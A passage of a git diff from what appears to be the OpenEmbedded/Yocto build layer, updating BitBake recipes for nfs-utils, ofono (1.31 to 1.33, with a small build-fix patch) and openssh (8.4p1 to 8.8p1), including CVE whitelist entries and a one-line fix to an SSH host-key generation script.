+NFS server and related tools."
+HOMEPAGE = "http://nfs.sourceforge.net/"
+SECTION = "console/network"
+
+LICENSE = "MIT & GPLv2+ & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=95f3a93a5c3c7888de623b46ea085a84"
+
+# util-linux for libblkid
+DEPENDS = "libcap libevent util-linux sqlite3 libtirpc"
+RDEPENDS:${PN} = "${PN}-client"
+RRECOMMENDS:${PN} = "kernel-module-nfsd"
+
+inherit useradd
+
+USERADD_PACKAGES = "${PN}-client"
+USERADD_PARAM:${PN}-client = "--system --home-dir /var/lib/nfs \
+ --shell /bin/false --user-group rpcuser"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/nfs-utils/${PV}/nfs-utils-${PV}.tar.xz \
+ file://nfsserver \
+ file://nfscommon \
+ file://nfs-utils.conf \
+ file://nfs-server.service \
+ file://nfs-mountd.service \
+ file://nfs-statd.service \
+ file://proc-fs-nfsd.mount \
+ file://nfs-utils-debianize-start-statd.patch \
+ file://bugfix-adjust-statd-service-name.patch \
+ file://0001-Makefile.am-fix-undefined-function-for-libnsm.a.patch \
+ file://clang-warnings.patch \
+ "
+SRC_URI[sha256sum] = "51997d94e4c8bcef5456dd36a9ccc38e231207c4e9b6a9a2c108841e6aebe3dd"
+
+# Only kernel-module-nfsd is required here (but can be built-in) - the nfsd module will
+# pull in the remainder of the dependencies.
+
+INITSCRIPT_PACKAGES = "${PN} ${PN}-client"
+INITSCRIPT_NAME = "nfsserver"
+INITSCRIPT_PARAMS = "defaults"
+INITSCRIPT_NAME:${PN}-client = "nfscommon"
+INITSCRIPT_PARAMS:${PN}-client = "defaults 19 21"
+
+inherit autotools-brokensep update-rc.d systemd pkgconfig
+
+SYSTEMD_PACKAGES = "${PN} ${PN}-client"
+SYSTEMD_SERVICE:${PN} = "nfs-server.service nfs-mountd.service"
+SYSTEMD_SERVICE:${PN}-client = "nfs-statd.service"
+
+# --enable-uuid is need for cross-compiling
+EXTRA_OECONF = "--with-statduser=rpcuser \
+ --enable-mountconfig \
+ --enable-libmount-mount \
+ --enable-uuid \
+ --disable-gss \
+ --disable-nfsdcltrack \
+ --with-statdpath=/var/lib/nfs/statd \
+ --with-rpcgen=${HOSTTOOLS_DIR}/rpcgen \
+ "
+
+PACKAGECONFIG ??= "tcp-wrappers \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
+"
+PACKAGECONFIG:remove:libc-musl = "tcp-wrappers"
+PACKAGECONFIG[tcp-wrappers] = "--with-tcp-wrappers,--without-tcp-wrappers,tcp-wrappers"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+# libdevmapper is available in meta-oe
+PACKAGECONFIG[nfsv41] = "--enable-nfsv41,--disable-nfsv41,libdevmapper,libdevmapper"
+# keyutils is available in meta-oe
+PACKAGECONFIG[nfsv4] = "--enable-nfsv4,--disable-nfsv4,keyutils,python3-core"
+
+PACKAGES =+ "${PN}-client ${PN}-mount ${PN}-stats"
+
+CONFFILES:${PN}-client += "${localstatedir}/lib/nfs/etab \
+ ${localstatedir}/lib/nfs/rmtab \
+ ${localstatedir}/lib/nfs/xtab \
+ ${localstatedir}/lib/nfs/statd/state \
+ ${sysconfdir}/nfsmount.conf"
+
+FILES:${PN}-client = "${sbindir}/*statd \
+ ${sbindir}/rpc.idmapd ${sbindir}/sm-notify \
+ ${sbindir}/showmount ${sbindir}/nfsstat \
+ ${localstatedir}/lib/nfs \
+ ${sysconfdir}/nfs-utils.conf \
+ ${sysconfdir}/nfsmount.conf \
+ ${sysconfdir}/init.d/nfscommon \
+ ${systemd_system_unitdir}/nfs-statd.service"
+RDEPENDS:${PN}-client = "${PN}-mount rpcbind"
+
+FILES:${PN}-mount = "${base_sbindir}/*mount.nfs*"
+
+FILES:${PN}-stats = "${sbindir}/mountstats ${sbindir}/nfsiostat ${sbindir}/nfsdclnts"
+RDEPENDS:${PN}-stats = "python3-core"
+
+FILES:${PN}-staticdev += "${libdir}/libnfsidmap/*.a"
+
+FILES:${PN} += "${systemd_unitdir} ${libdir}/libnfsidmap/"
+
+do_configure:prepend() {
+ sed -i -e 's,sbindir = /sbin,sbindir = ${base_sbindir},g' \
+ ${S}/utils/mount/Makefile.am
+}
+
+# Make clean needed because the package comes with
+# precompiled 64-bit objects that break the build
+do_compile:prepend() {
+ make clean
+}
+
+# Works on systemd only
+HIGH_RLIMIT_NOFILE ??= "4096"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/nfsserver ${D}${sysconfdir}/init.d/nfsserver
+ install -m 0755 ${WORKDIR}/nfscommon ${D}${sysconfdir}/init.d/nfscommon
+
+ install -m 0755 ${WORKDIR}/nfs-utils.conf ${D}${sysconfdir}
+ install -m 0755 ${S}/utils/mount/nfsmount.conf ${D}${sysconfdir}
+
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/nfs-server.service ${D}${systemd_system_unitdir}/
+ install -m 0644 ${WORKDIR}/nfs-mountd.service ${D}${systemd_system_unitdir}/
+ install -m 0644 ${WORKDIR}/nfs-statd.service ${D}${systemd_system_unitdir}/
+ sed -i -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ -e 's,@HIGH_RLIMIT_NOFILE@,${HIGH_RLIMIT_NOFILE},g' \
+ ${D}${systemd_system_unitdir}/*.service
+ if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+ install -m 0644 ${WORKDIR}/proc-fs-nfsd.mount ${D}${systemd_system_unitdir}/
+ install -d ${D}${systemd_system_unitdir}/sysinit.target.wants/
+ ln -sf ../proc-fs-nfsd.mount ${D}${systemd_system_unitdir}/sysinit.target.wants/proc-fs-nfsd.mount
+ fi
+
+ # kernel code as of 3.8 hard-codes this path as a default
+ install -d ${D}/var/lib/nfs/v4recovery
+
+ # chown the directories and files
+ chown -R rpcuser:rpcuser ${D}${localstatedir}/lib/nfs/statd
+ chmod 0644 ${D}${localstatedir}/lib/nfs/statd/state
+
+ # Make python tools use python 3
+ sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${sbindir}/mountstats ${D}${sbindir}/nfsiostat
+}
diff --git a/meta/recipes-connectivity/ofono/ofono/0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch b/meta/recipes-connectivity/ofono/ofono/0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch
new file mode 100644
index 0000000000..3655b3fd66
--- /dev/null
+++ b/meta/recipes-connectivity/ofono/ofono/0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch
@@ -0,0 +1,28 @@
+From 76e4054801350ebd4a44057379431a33d460ad0f Mon Sep 17 00:00:00 2001
+From: Martin Jansa <Martin.Jansa@gmail.com>
+Date: Wed, 21 Apr 2021 11:01:34 +0000
+Subject: [PATCH] mbim: Fix build with ell-0.39 by restoring unlikely macro
+ from ell/util.h
+
+Upstream-Status: Pending
+
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+---
+ drivers/mbimmodem/mbim-private.h | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/drivers/mbimmodem/mbim-private.h b/drivers/mbimmodem/mbim-private.h
+index 51693eae..d917312c 100644
+--- a/drivers/mbimmodem/mbim-private.h
++++ b/drivers/mbimmodem/mbim-private.h
+@@ -30,6 +30,10 @@
+ __result; })
+ #endif
+
++/* used to be part of ell/util.h before 0.39:
++ https://git.kernel.org/pub/scm/libs/ell/ell.git/commit/?id=2a682421b06e41c45098217a686157f576847021 */
++#define unlikely(x) __builtin_expect(!!(x), 0)
++
+ enum mbim_control_message {
+ MBIM_OPEN_MSG = 0x1,
+ MBIM_CLOSE_MSG = 0x2,
diff --git a/meta/recipes-connectivity/ofono/ofono_1.31.bb b/meta/recipes-connectivity/ofono/ofono_1.31.bb
deleted file mode 100644
index 7d0976ad7f..0000000000
--- a/meta/recipes-connectivity/ofono/ofono_1.31.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "open source telephony"
-DESCRIPTION = "oFono is a stack for mobile telephony devices on Linux. oFono supports speaking to telephony devices through specific drivers, or with generic AT commands."
-HOMEPAGE = "http://www.ofono.org"
-BUGTRACKER = "https://01.org/jira/browse/OF"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a \
- file://src/ofono.h;beginline=1;endline=20;md5=3ce17d5978ef3445def265b98899c2ee"
-DEPENDS = "dbus glib-2.0 udev mobile-broadband-provider-info ell"
-
-SRC_URI = "\
- ${KERNELORG_MIRROR}/linux/network/${BPN}/${BP}.tar.xz \
- file://ofono \
- file://0001-mbim-add-an-optional-TEMP_FAILURE_RETRY-macro-copy.patch \
-"
-SRC_URI[md5sum] = "1c26340e3c6ed132cc812595081bb3dc"
-SRC_URI[sha256sum] = "a15c5d28096c10eb30e47a68b6dc2e7c4a5a99d7f4cfedf0b69624f33d859e9b"
-
-inherit autotools pkgconfig update-rc.d systemd gobject-introspection-data
-
-INITSCRIPT_NAME = "ofono"
-INITSCRIPT_PARAMS = "defaults 22"
-SYSTEMD_SERVICE_${PN} = "ofono.service"
-
-PACKAGECONFIG ??= "\
- ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
-"
-PACKAGECONFIG[systemd] = "--with-systemdunitdir=${systemd_unitdir}/system/,--with-systemdunitdir="
-PACKAGECONFIG[bluez] = "--enable-bluetooth, --disable-bluetooth, bluez5"
-
-EXTRA_OECONF += "--enable-test --enable-external-ell"
-
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d/
- install -m 0755 ${WORKDIR}/ofono ${D}${sysconfdir}/init.d/ofono
-}
-
-PACKAGES =+ "${PN}-tests"
-
-FILES_${PN} += "${systemd_unitdir}"
-FILES_${PN}-tests = "${libdir}/${BPN}/test"
-
-RDEPENDS_${PN} += "dbus"
-RDEPENDS_${PN}-tests = "\
- python3-core \
- python3-dbus \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-pygobject', '', d)} \
-"
-
-RRECOMMENDS_${PN} += "kernel-module-tun mobile-broadband-provider-info"
diff --git a/meta/recipes-connectivity/ofono/ofono_1.33.bb b/meta/recipes-connectivity/ofono/ofono_1.33.bb
new file mode 100644
index 0000000000..1fab90c08e
--- /dev/null
+++ b/meta/recipes-connectivity/ofono/ofono_1.33.bb
@@ -0,0 +1,55 @@
+SUMMARY = "open source telephony"
+DESCRIPTION = "oFono is a stack for mobile telephony devices on Linux. oFono supports speaking to telephony devices through specific drivers, or with generic AT commands."
+HOMEPAGE = "http://www.ofono.org"
+BUGTRACKER = "https://01.org/jira/browse/OF"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=eb723b61539feef013de476e68b5c50a \
+ file://src/ofono.h;beginline=1;endline=20;md5=3ce17d5978ef3445def265b98899c2ee"
+DEPENDS = "dbus glib-2.0 udev mobile-broadband-provider-info ell"
+
+SRC_URI = "\
+ ${KERNELORG_MIRROR}/linux/network/${BPN}/${BP}.tar.xz \
+ file://ofono \
+ file://0001-mbim-add-an-optional-TEMP_FAILURE_RETRY-macro-copy.patch \
+ file://0002-mbim-Fix-build-with-ell-0.39-by-restoring-unlikely-m.patch \
+"
+SRC_URI[sha256sum] = "e4591c5353ad2069cb9c0861fad3f1bf655137f9785fc5f16151d509e49ba708"
+
+inherit autotools pkgconfig update-rc.d systemd gobject-introspection-data
+
+INITSCRIPT_NAME = "ofono"
+INITSCRIPT_PARAMS = "defaults 22"
+SYSTEMD_SERVICE:${PN} = "ofono.service"
+
+PACKAGECONFIG ??= "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'bluetooth', 'bluez', '', d)} \
+"
+PACKAGECONFIG[systemd] = "--with-systemdunitdir=${systemd_system_unitdir}/,--with-systemdunitdir="
+PACKAGECONFIG[bluez] = "--enable-bluetooth, --disable-bluetooth, bluez5"
+
+EXTRA_OECONF += "--enable-test --enable-external-ell"
+
+do_configure:prepend() {
+ bbnote "Removing bundled ell from ${S}/ell to prevent including it"
+ rm -rf ${S}/ell
+}
+
+do_install:append() {
+ install -d ${D}${sysconfdir}/init.d/
+ install -m 0755 ${WORKDIR}/ofono ${D}${sysconfdir}/init.d/ofono
+}
+
+PACKAGES =+ "${PN}-tests"
+
+FILES:${PN} += "${systemd_unitdir}"
+FILES:${PN}-tests = "${libdir}/${BPN}/test"
+
+RDEPENDS:${PN} += "dbus"
+RDEPENDS:${PN}-tests = "\
+ python3-core \
+ python3-dbus \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'python3-pygobject', '', d)} \
+"
+
+RRECOMMENDS:${PN} += "kernel-module-tun mobile-broadband-provider-info"
diff --git a/meta/recipes-connectivity/openssh/openssh/sshd_check_keys b/meta/recipes-connectivity/openssh/openssh/sshd_check_keys
index 1931dc7153..ef117de897 100644
--- a/meta/recipes-connectivity/openssh/openssh/sshd_check_keys
+++ b/meta/recipes-connectivity/openssh/openssh/sshd_check_keys
@@ -6,6 +6,7 @@ generate_key() {
local DIR="$(dirname "$FILE")"
mkdir -p "$DIR"
+ rm -f ${FILE}.tmp
ssh-keygen -q -f "${FILE}.tmp" -N '' -t $TYPE
# Atomically rename file public key
diff --git a/meta/recipes-connectivity/openssh/openssh_8.4p1.bb b/meta/recipes-connectivity/openssh/openssh_8.4p1.bb
deleted file mode 100644
index 676a8a6533..0000000000
--- a/meta/recipes-connectivity/openssh/openssh_8.4p1.bb
+++ /dev/null
@@ -1,179 +0,0 @@
-SUMMARY = "A suite of security-related network utilities based on \
-the SSH protocol including the ssh client and sshd server"
-DESCRIPTION = "Secure rlogin/rsh/rcp/telnet replacement (OpenSSH) \
-Ssh (Secure Shell) is a program for logging into a remote machine \
-and for executing commands on a remote machine."
-HOMEPAGE = "http://www.openssh.com/"
-SECTION = "console/network"
-LICENSE = "BSD & ISC & MIT"
-LIC_FILES_CHKSUM = "file://LICENCE;md5=18d9e5a8b3dd1790d73502f50426d4d3"
-
-DEPENDS = "zlib openssl virtual/crypt"
-DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-
-SRC_URI = "http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-${PV}.tar.gz \
- file://sshd_config \
- file://ssh_config \
- file://init \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
- file://sshd.socket \
- file://sshd@.service \
- file://sshdgenkeys.service \
- file://volatiles.99_sshd \
- file://run-ptest \
- file://fix-potential-signed-overflow-in-pointer-arithmatic.patch \
- file://sshd_check_keys \
- file://add-test-support-for-busybox.patch \
- "
-SRC_URI[sha256sum] = "5a01d22e407eb1c05ba8a8f7c654d388a13e9f226e4ed33bd38748dafa1d2b24"
-
-# This CVE is specific to OpenSSH server, as used in Fedora and Red Hat Enterprise Linux 7
-# and when running in a Kerberos environment. As such it is not relevant to OpenEmbedded
-CVE_CHECK_WHITELIST += "CVE-2014-9278"
-
-PAM_SRC_URI = "file://sshd"
-
-inherit manpages useradd update-rc.d update-alternatives systemd
-
-USERADD_PACKAGES = "${PN}-sshd"
-USERADD_PARAM_${PN}-sshd = "--system --no-create-home --home-dir /var/run/sshd --shell /bin/false --user-group sshd"
-INITSCRIPT_PACKAGES = "${PN}-sshd"
-INITSCRIPT_NAME_${PN}-sshd = "sshd"
-INITSCRIPT_PARAMS_${PN}-sshd = "defaults 9"
-
-SYSTEMD_PACKAGES = "${PN}-sshd"
-SYSTEMD_SERVICE_${PN}-sshd = "sshd.socket"
-
-inherit autotools-brokensep ptest
-
-PACKAGECONFIG ??= "rng-tools"
-PACKAGECONFIG[kerberos] = "--with-kerberos5,--without-kerberos5,krb5"
-PACKAGECONFIG[ldns] = "--with-ldns,--without-ldns,ldns"
-PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit"
-PACKAGECONFIG[manpages] = "--with-mantype=man,--with-mantype=cat"
-
-# Add RRECOMMENDS to rng-tools for sshd package
-PACKAGECONFIG[rng-tools] = ""
-
-EXTRA_AUTORECONF += "--exclude=aclocal"
-
-# login path is hardcoded in sshd
-EXTRA_OECONF = "'LOGIN_PROGRAM=${base_bindir}/login' \
- ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
- --without-zlib-version-check \
- --with-privsep-path=${localstatedir}/run/sshd \
- --sysconfdir=${sysconfdir}/ssh \
- --with-xauth=${bindir}/xauth \
- --disable-strip \
- "
-
-# musl doesn't implement wtmp/utmp
-EXTRA_OECONF_append_libc-musl = " --disable-wtmp"
-
-# Since we do not depend on libbsd, we do not want configure to use it
-# just because it finds libutil.h. But, specifying --disable-libutil
-# causes compile errors, so...
-CACHED_CONFIGUREVARS += "ac_cv_header_bsd_libutil_h=no ac_cv_header_libutil_h=no"
-
-# passwd path is hardcoded in sshd
-CACHED_CONFIGUREVARS += "ac_cv_path_PATH_PASSWD_PROG=${bindir}/passwd"
-
-# We don't want to depend on libblockfile
-CACHED_CONFIGUREVARS += "ac_cv_header_maillock_h=no"
-
-do_configure_prepend () {
- export LD="${CC}"
- install -m 0644 ${WORKDIR}/sshd_config ${B}/
- install -m 0644 ${WORKDIR}/ssh_config ${B}/
-}
-
-do_compile_ptest() {
- # skip regress/unittests/ binaries: this will silently skip
- # unittests in run-ptests which is good because they are so slow.
- oe_runmake regress/modpipe regress/setuid-allowed regress/netcat \
- regress/check-perm regress/mkdtemp
-}
-
-do_install_append () {
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
- install -D -m 0644 ${WORKDIR}/sshd ${D}${sysconfdir}/pam.d/sshd
- sed -i -e 's:#UsePAM no:UsePAM yes:' ${D}${sysconfdir}/ssh/sshd_config
- fi
-
- if [ "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}" ]; then
- sed -i -e 's:#X11Forwarding no:X11Forwarding yes:' ${D}${sysconfdir}/ssh/sshd_config
- fi
-
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/sshd
- rm -f ${D}${bindir}/slogin ${D}${datadir}/Ssh.bin
- rmdir ${D}${localstatedir}/run/sshd ${D}${localstatedir}/run ${D}${localstatedir}
- install -d ${D}/${sysconfdir}/default/volatiles
- install -m 644 ${WORKDIR}/volatiles.99_sshd ${D}/${sysconfdir}/default/volatiles/99_sshd
- install -m 0755 ${S}/contrib/ssh-copy-id ${D}${bindir}
-
- # Create config files for read-only rootfs
- install -d ${D}${sysconfdir}/ssh
- install -m 644 ${D}${sysconfdir}/ssh/sshd_config ${D}${sysconfdir}/ssh/sshd_config_readonly
- sed -i '/HostKey/d' ${D}${sysconfdir}/ssh/sshd_config_readonly
- echo "HostKey /var/run/ssh/ssh_host_rsa_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
- echo "HostKey /var/run/ssh/ssh_host_ecdsa_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
- echo "HostKey /var/run/ssh/ssh_host_ed25519_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
-
- install -d ${D}${systemd_unitdir}/system
- install -c -m 0644 ${WORKDIR}/sshd.socket ${D}${systemd_unitdir}/system
- install -c -m 0644 ${WORKDIR}/sshd@.service ${D}${systemd_unitdir}/system
- install -c -m 0644 ${WORKDIR}/sshdgenkeys.service ${D}${systemd_unitdir}/system
- sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- -e 's,@BINDIR@,${bindir},g' \
- -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
- ${D}${systemd_unitdir}/system/sshd.socket ${D}${systemd_unitdir}/system/*.service
-
- sed -i -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
- ${D}${sysconfdir}/init.d/sshd
-
- install -D -m 0755 ${WORKDIR}/sshd_check_keys ${D}${libexecdir}/${BPN}/sshd_check_keys
-}
-
-do_install_ptest () {
- sed -i -e "s|^SFTPSERVER=.*|SFTPSERVER=${libexecdir}/sftp-server|" regress/test-exec.sh
- cp -r regress ${D}${PTEST_PATH}
-}
-
-ALLOW_EMPTY_${PN} = "1"
-
-PACKAGES =+ "${PN}-keygen ${PN}-scp ${PN}-ssh ${PN}-sshd ${PN}-sftp ${PN}-misc ${PN}-sftp-server"
-FILES_${PN}-scp = "${bindir}/scp.${BPN}"
-FILES_${PN}-ssh = "${bindir}/ssh.${BPN} ${sysconfdir}/ssh/ssh_config"
-FILES_${PN}-sshd = "${sbindir}/sshd ${sysconfdir}/init.d/sshd ${systemd_unitdir}/system"
-FILES_${PN}-sshd += "${sysconfdir}/ssh/moduli ${sysconfdir}/ssh/sshd_config ${sysconfdir}/ssh/sshd_config_readonly ${sysconfdir}/default/volatiles/99_sshd ${sysconfdir}/pam.d/sshd"
-FILES_${PN}-sshd += "${libexecdir}/${BPN}/sshd_check_keys"
-FILES_${PN}-sftp = "${bindir}/sftp"
-FILES_${PN}-sftp-server = "${libexecdir}/sftp-server"
-FILES_${PN}-misc = "${bindir}/ssh* ${libexecdir}/ssh*"
-FILES_${PN}-keygen = "${bindir}/ssh-keygen"
-
-RDEPENDS_${PN} += "${PN}-scp ${PN}-ssh ${PN}-sshd ${PN}-keygen"
-RDEPENDS_${PN}-sshd += "${PN}-keygen ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'pam-plugin-keyinit pam-plugin-loginuid', '', d)}"
-RRECOMMENDS_${PN}-sshd_append_class-target = "\
- ${@bb.utils.filter('PACKAGECONFIG', 'rng-tools', d)} \
-"
-
-# gdb would make attach-ptrace test pass rather than skip but not worth the build dependencies
-RDEPENDS_${PN}-ptest += "${PN}-sftp ${PN}-misc ${PN}-sftp-server make sed sudo coreutils"
-
-RPROVIDES_${PN}-ssh = "ssh"
-RPROVIDES_${PN}-sshd = "sshd"
-
-RCONFLICTS_${PN} = "dropbear"
-RCONFLICTS_${PN}-sshd = "dropbear"
-
-CONFFILES_${PN}-sshd = "${sysconfdir}/ssh/sshd_config"
-CONFFILES_${PN}-ssh = "${sysconfdir}/ssh/ssh_config"
-
-ALTERNATIVE_PRIORITY = "90"
-ALTERNATIVE_${PN}-scp = "scp"
-ALTERNATIVE_${PN}-ssh = "ssh"
-
-BBCLASSEXTEND += "nativesdk"
diff --git a/meta/recipes-connectivity/openssh/openssh_8.8p1.bb b/meta/recipes-connectivity/openssh/openssh_8.8p1.bb
new file mode 100644
index 0000000000..ee86bb92ab
--- /dev/null
+++ b/meta/recipes-connectivity/openssh/openssh_8.8p1.bb
@@ -0,0 +1,185 @@
+SUMMARY = "A suite of security-related network utilities based on \
+the SSH protocol including the ssh client and sshd server"
+DESCRIPTION = "Secure rlogin/rsh/rcp/telnet replacement (OpenSSH) \
+Ssh (Secure Shell) is a program for logging into a remote machine \
+and for executing commands on a remote machine."
+HOMEPAGE = "http://www.openssh.com/"
+SECTION = "console/network"
+LICENSE = "BSD-2-Clause & BSD-3-Clause & BSD-4-Clause & ISC & MIT"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=d9d2753bdef9f19466dc7bc959114b11"
+
+DEPENDS = "zlib openssl virtual/crypt"
+DEPENDS += "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
+
+SRC_URI = "http://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-${PV}.tar.gz \
+ file://sshd_config \
+ file://ssh_config \
+ file://init \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
+ file://sshd.socket \
+ file://sshd@.service \
+ file://sshdgenkeys.service \
+ file://volatiles.99_sshd \
+ file://run-ptest \
+ file://fix-potential-signed-overflow-in-pointer-arithmatic.patch \
+ file://sshd_check_keys \
+ file://add-test-support-for-busybox.patch \
+ "
+SRC_URI[sha256sum] = "4590890ea9bb9ace4f71ae331785a3a5823232435161960ed5fc86588f331fe9"
+
+# This CVE is specific to OpenSSH with the pam opie which we don't build/use here
+CVE_CHECK_WHITELIST += "CVE-2007-2768"
+
+# This CVE is specific to OpenSSH server, as used in Fedora and Red Hat Enterprise Linux 7
+# and when running in a Kerberos environment. As such it is not relevant to OpenEmbedded
+CVE_CHECK_WHITELIST += "CVE-2014-9278"
+
+# CVE only applies to some distributed RHEL binaries
+CVE_CHECK_WHITELIST += "CVE-2008-3844"
+
+PAM_SRC_URI = "file://sshd"
+
+inherit manpages useradd update-rc.d update-alternatives systemd
+
+USERADD_PACKAGES = "${PN}-sshd"
+USERADD_PARAM:${PN}-sshd = "--system --no-create-home --home-dir /var/run/sshd --shell /bin/false --user-group sshd"
+INITSCRIPT_PACKAGES = "${PN}-sshd"
+INITSCRIPT_NAME:${PN}-sshd = "sshd"
+INITSCRIPT_PARAMS:${PN}-sshd = "defaults 9"
+
+SYSTEMD_PACKAGES = "${PN}-sshd"
+SYSTEMD_SERVICE:${PN}-sshd = "sshd.socket"
+
+inherit autotools-brokensep ptest
+
+PACKAGECONFIG ??= "rng-tools"
+PACKAGECONFIG[kerberos] = "--with-kerberos5,--without-kerberos5,krb5"
+PACKAGECONFIG[ldns] = "--with-ldns,--without-ldns,ldns"
+PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit"
+PACKAGECONFIG[manpages] = "--with-mantype=man,--with-mantype=cat"
+
+# Add RRECOMMENDS to rng-tools for sshd package
+PACKAGECONFIG[rng-tools] = ""
+
+EXTRA_AUTORECONF += "--exclude=aclocal"
+
+# login path is hardcoded in sshd
+EXTRA_OECONF = "'LOGIN_PROGRAM=${base_bindir}/login' \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--with-pam', '--without-pam', d)} \
+ --without-zlib-version-check \
+ --with-privsep-path=${localstatedir}/run/sshd \
+ --sysconfdir=${sysconfdir}/ssh \
+ --with-xauth=${bindir}/xauth \
+ --disable-strip \
+ "
+
+# musl doesn't implement wtmp/utmp and logwtmp
+EXTRA_OECONF:append:libc-musl = " --disable-wtmp --disable-lastlog"
+
+# Since we do not depend on libbsd, we do not want configure to use it
+# just because it finds libutil.h. But, specifying --disable-libutil
+# causes compile errors, so...
+CACHED_CONFIGUREVARS += "ac_cv_header_bsd_libutil_h=no ac_cv_header_libutil_h=no"
+
+# passwd path is hardcoded in sshd
+CACHED_CONFIGUREVARS += "ac_cv_path_PATH_PASSWD_PROG=${bindir}/passwd"
+
+# We don't want to depend on libblockfile
+CACHED_CONFIGUREVARS += "ac_cv_header_maillock_h=no"
+
+do_configure:prepend () {
+ export LD="${CC}"
+ install -m 0644 ${WORKDIR}/sshd_config ${B}/
+ install -m 0644 ${WORKDIR}/ssh_config ${B}/
+}
+
+do_compile_ptest() {
+ # skip regress/unittests/ binaries: this will silently skip
+ # unittests in run-ptests which is good because they are so slow.
+ oe_runmake regress/modpipe regress/setuid-allowed regress/netcat \
+ regress/check-perm regress/mkdtemp
+}
+
+do_install:append () {
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
+ install -D -m 0644 ${WORKDIR}/sshd ${D}${sysconfdir}/pam.d/sshd
+ sed -i -e 's:#UsePAM no:UsePAM yes:' ${D}${sysconfdir}/ssh/sshd_config
+ fi
+
+ if [ "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)}" ]; then
+ sed -i -e 's:#X11Forwarding no:X11Forwarding yes:' ${D}${sysconfdir}/ssh/sshd_config
+ fi
+
+ install -d ${D}${sysconfdir}/init.d
+ install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/sshd
+ rm -f ${D}${bindir}/slogin ${D}${datadir}/Ssh.bin
+ rmdir ${D}${localstatedir}/run/sshd ${D}${localstatedir}/run ${D}${localstatedir}
+ install -d ${D}/${sysconfdir}/default/volatiles
+ install -m 644 ${WORKDIR}/volatiles.99_sshd ${D}/${sysconfdir}/default/volatiles/99_sshd
+ install -m 0755 ${S}/contrib/ssh-copy-id ${D}${bindir}
+
+ # Create config files for read-only rootfs
+ install -d ${D}${sysconfdir}/ssh
+ install -m 644 ${D}${sysconfdir}/ssh/sshd_config ${D}${sysconfdir}/ssh/sshd_config_readonly
+ sed -i '/HostKey/d' ${D}${sysconfdir}/ssh/sshd_config_readonly
+ echo "HostKey /var/run/ssh/ssh_host_rsa_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
+ echo "HostKey /var/run/ssh/ssh_host_ecdsa_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
+ echo "HostKey /var/run/ssh/ssh_host_ed25519_key" >> ${D}${sysconfdir}/ssh/sshd_config_readonly
+
+ install -d ${D}${systemd_system_unitdir}
+ install -c -m 0644 ${WORKDIR}/sshd.socket ${D}${systemd_system_unitdir}
+ install -c -m 0644 ${WORKDIR}/sshd@.service ${D}${systemd_system_unitdir}
+ install -c -m 0644 ${WORKDIR}/sshdgenkeys.service ${D}${systemd_system_unitdir}
+ sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ -e 's,@BINDIR@,${bindir},g' \
+ -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
+ ${D}${systemd_system_unitdir}/sshd.socket ${D}${systemd_system_unitdir}/*.service
+
+ sed -i -e 's,@LIBEXECDIR@,${libexecdir}/${BPN},g' \
+ ${D}${sysconfdir}/init.d/sshd
+
